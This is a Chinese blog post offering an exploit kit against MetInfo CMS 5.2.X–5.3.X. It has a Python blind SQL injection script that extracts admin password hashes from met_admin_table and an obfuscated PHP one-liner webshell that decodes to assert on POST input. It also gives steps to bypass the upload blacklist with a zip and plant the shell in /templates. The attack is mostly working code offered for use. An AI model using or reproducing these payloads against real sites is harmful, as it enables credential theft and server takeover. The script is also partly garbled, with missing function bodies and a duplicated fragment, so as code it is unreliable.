MetInfo5.2.X-5.3.X盲注脚本及后台GetShell

首先声明:本文所公布的盲注脚本是之前在乌云上根据已公开漏洞研究出来的,并不一定适用于最新版,但可作为参考~至于后台GetShell也是看乌云上公开的利用细节整理出来的,并复现成功~

image

利用二分法的盲注脚本:

#coding=utf-8

import requests

headers = {

'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63'

}

keyword = '2013-12-26'#设置判断返回结果差异的关键字,可根据实际情况修改

datalength = 0

host = 'http://127.0.0.1/MetInfov5.2.10'#需要测试的网站

GetlengthPayload = '/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(length(b.admin_pass)>%d,1,0) limit 3,1-- sd&imgproduct=xxxx'

GetDataPayload = '/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_pass,%d,1))>%d,1,0) limit 3,1-- sd&imgproduct=xxxx'

#获取的是met_admin_table表中的admin_pass字段值,可根据需要做出更改

#使用二分法判断

def HalfOfIt(payload,maximum,minimum,index=None):

#index为None时:跑数据的长度

#index != None 时:跑数据的内容

requesturl = host+payload

ave = (maximum+minimum)/2

if index == None:

requesturl = requesturl % (ave)

else:

requesturl = requesturl % (index,ave)

content = requests.get(requesturl,headers=headers).content

#There are two values left to guess

if maximum-minimum == 1:

#当最大值和最小值相差1的时候,ave = (maximum+minimum)/2

# ave的大小和最小值一样,所以要是关键词存在,则说明ascii比最小值大,所以返回最大值

if keyword in content:

return maximum

else:

return minimum

if keyword in content:

#minimum #如果关键词存在,说明ascii值大于平均值,所以最小值改为平均值

return HalfOfIt(payload,maximum,ave,index)

else:

#maximum

GetInfoLength()

if datalength == 0:

print('出错啦')

exit(-1)

output = '[数据内容]===>'

#最小值到最大值对应ASCII表,目的是将特殊字符和数字字母包含到里面

maximum = 126

minimum = 33

for index in range(1,datalength+1):

#range(1,5) #代表从1到5(不包含5)

#range(1,5,2) #代表从1到5,间隔2(不包含5)

#range(5) #代表从0到5(不包含5)

retval = HalfOfIt(GetDataPayload,maximum,minimum,index)

output += chr(retval)#ord和chr两个内置的函数,用于字符与ASCII码之间的转换。

print(output)


后台GetShell方法:
http://www.wooyun.org/bugs/wooyun-2015-0134479
漏洞文件:admin\include\uploadify.php 206行
黑名单过滤:
$danger=explode(‘|’,’preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd
|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir’);
$ban=’preg_replace|assert|eval|\$_POST|\$_GET’;

上传.zip 文件会自动解压,不过有过滤,但是是采用黑名单方式,可以轻易绕过。
如下面的一句话

<?php $a=range(1,200);$b=chr($a[96-1+1]).chr($a[114-1+1]).chr($a[114-1+1]).chr($a[100-1+1]).chr($a[113-1+1]).chr($a[115-1+1]); $b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]); ?>

保存为kk.php文件,并压缩为kk.zip格式

在后台找个能上传的的地方上传, 设置代理,Burp抓包,修改参数 type=skin 上传成功后在/templates目录下生成 kk.php

已上传至GitHub:https://github.com/Soulmk/MyGit/tree/master/MetInfo_EXP-GetShell

云上根据已公开漏洞研究出来的,并不一定适用于最新版,但可作为参考~至于后台GetShell也是看乌云上公开的利用细节整理出来的,并复现成功~

该科普文章属于WhiteCellClub团队的Soulmk原创,